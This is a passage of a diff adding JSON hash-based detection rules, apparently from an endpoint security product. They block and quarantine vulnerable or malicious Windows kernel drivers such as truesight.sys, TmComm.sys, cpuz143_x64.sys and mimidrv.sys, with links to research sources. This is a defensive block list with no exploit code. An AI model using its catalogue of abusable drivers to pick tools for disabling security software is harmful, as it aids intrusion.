+  "comment": "Vulnerable Kernel Driver (aka rwdrv.sys) [https://www.loldrivers.io/drivers/b03798af-d25a-400b-9236-4643a802846f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e68be877-9184-5e8f-ae55-168f84e6a19f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160927Z",
+  "creation_date": "2026-03-23T11:45:31.160929Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160935Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b205985dc6fb5cc86bc0183295733792f6381cbc4fd71ebadddaa4580efc111b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e696b159-00cc-5604-8380-72a6bee9cff4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.480269Z",
+  "creation_date": "2026-03-23T11:45:31.480273Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.480283Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "64c691ba709918402a9057476a20c115553114cc561a0e747fe9051a3a6e59e7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e6972193-88d6-5f37-a185-d739c22309dd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827838Z",
+  "creation_date": "2026-03-23T11:45:30.827840Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827845Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8b6f84253fa4636d168adb43f17cab909078468c3642370fad468814ee494468",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e69ad721-17ab-5aee-8b0b-6e9f507b9c74",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611325Z",
+  "creation_date": "2026-03-23T11:45:29.611327Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611332Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "942a7b2ebca0edeff5803c8f899ee455c0ec279542c41d2db2664d58c1025c86",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e69c56b2-6322-56ed-a556-3482426443af",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.157032Z",
+  "creation_date": "2026-03-23T11:45:31.157034Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.157039Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3b161aa3620aeb3f956d2fed22b8031e1f822c8f25dd8658988d40b34082d053",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e69f04f4-1ae0-5d12-862c-973a02400602",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.158974Z",
+  "creation_date": "2026-03-23T11:45:31.158976Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.158982Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "19b048d27c93af7f35c406803cadf3f5c11db7a7bbb302a7c3b75814b463c3ff",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e6a80a26-709c-5a5f-bc2d-47af6e11dd4c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815234Z",
+  "creation_date": "2026-03-23T11:45:31.815237Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815242Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f23b826fcf9dbb3f30896d08df697232cf627e7893a47a6d57f1fc9f42cb75c1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e6af817a-bc47-55f0-bdb0-a261c62262e7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.823701Z",
+  "creation_date": "2026-03-23T11:45:30.823703Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.823709Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "71e98a83634fde14dc0b117a7aaee15ad5926f3dacf573b53390ff0dedc3e219",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e6ca9fb7-73db-5b30-826a-f594e2371182",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973671Z",
+  "creation_date": "2026-03-23T11:45:29.973673Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973678Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5192ec4501d0fe0b1c8f7bf9b778f7524a7a70a26bbbb66e5dab8480f6fdbb8b",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e6d9077d-e298-552e-9575-aba16e43de8d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979411Z",
+  "creation_date": "2026-03-23T11:45:29.979413Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979419Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "86047bb1969d1db455493955fd450d18c62a3f36294d0a6c3732c88dfbcc4f62",
+  "comment": "Malicious Kernel Driver (aka windbg.sys) [https://www.loldrivers.io/drivers/da7314dc-6cf1-4d74-a0d1-796fc08944f8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e6ddea18-6801-537a-b3cb-b61ddecd9cf7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828583Z",
+  "creation_date": "2026-03-23T11:45:31.828585Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828590Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "404ca49fd22c7f9b7e575b5dec71a649c043486886f5f8b2349b0486a38c3e53",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e6e7f4e1-ed2a-5feb-bc40-af648abeaaf0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.151281Z",
+  "creation_date": "2026-03-23T11:45:31.151283Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.151289Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4ecdaef6f3da089597a58aff6ce473394cb9fc3ae32865a08127be953beade95",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e6ec4d76-b073-5241-9b05-1bc4ce5402a8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818312Z",
+  "creation_date": "2026-03-23T11:45:30.818314Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818320Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6297556f66cd6619057f3a5b216b314f8a27eebb5fa575ee07a1944aca71ae80",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e6f4d3be-d76d-5abc-afcf-442bf420cc9b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.481551Z",
+  "creation_date": "2026-03-23T11:45:31.481555Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.481565Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d7c6108816ce5583c38d8f9a98f6e6887eb9c02deb6ec37e1d8c9b09916b12b2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e6f7c745-c581-51fa-9b5d-02d419cb87d4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144446Z",
+  "creation_date": "2026-03-23T11:45:31.144448Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144453Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a562438824f1f074c1eee38e458ca39a2f7452d37e357f3866b1b70b01f4ac26",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e6fe4994-8c6b-569f-901f-4bc1deaeedc3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.470430Z",
+  "creation_date": "2026-03-23T11:45:30.470434Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.470443Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "26908983e18b807894909d11d6d0fa2d8fbe7544b61184267851c2a839f3b306",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e701b408-1477-59e4-8884-a7f5049a263f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.830186Z",
+  "creation_date": "2026-03-23T11:45:31.830188Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.830193Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "063c06d788da475d86bf443fe2d87f474cf614d686ba2add3b5fe6116f532194",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e7054bd7-74b6-588d-bd6b-096ed27ddb23",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495761Z",
+  "creation_date": "2026-03-23T11:45:31.495763Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495768Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "da587211d665f55428e281ab6c4ea9164fb8420aa3cb82ff4509c4f10a1d0fef",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e70dadb7-51e4-5b76-91f0-3d6b68d1abe9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.484815Z",
+  "creation_date": "2026-03-23T11:45:31.484819Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.484829Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e9faef848ca903958f958e420edd216a18621adedfe56fc77d835f8237bcef41",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e710fef6-5112-5732-872a-b3ecff50ec86",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487361Z",
+  "creation_date": "2026-03-23T11:45:31.487363Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487368Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0f4daffa9ffe2dacb00343990ee197cb86415519466b5cc3bf8ff33108af51df",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e717fabd-e5de-5109-941b-2e4161f21b07",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.476862Z",
+  "creation_date": "2026-03-23T11:45:30.476865Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.476887Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "615c391666b0fdaa0a8096320d35c7b951e6a0ee7f984ab3e892f838cb212b60",
+  "comment": "Vulnerable Kernel Driver (aka libnicm.sys) [https://www.loldrivers.io/drivers/2b949a0d-939f-456a-a34f-4589d7712227/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e71e6de8-085c-5f5a-b66b-c5d193e6afed",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.499296Z",
+  "creation_date": "2026-03-23T11:45:31.499299Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.499307Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0ca54132ee9953d408688e17facfe8a0bc9bf93e73085c6782ab076a0c3aa2a6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e720683c-966c-53fc-a26d-795070b4fef3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
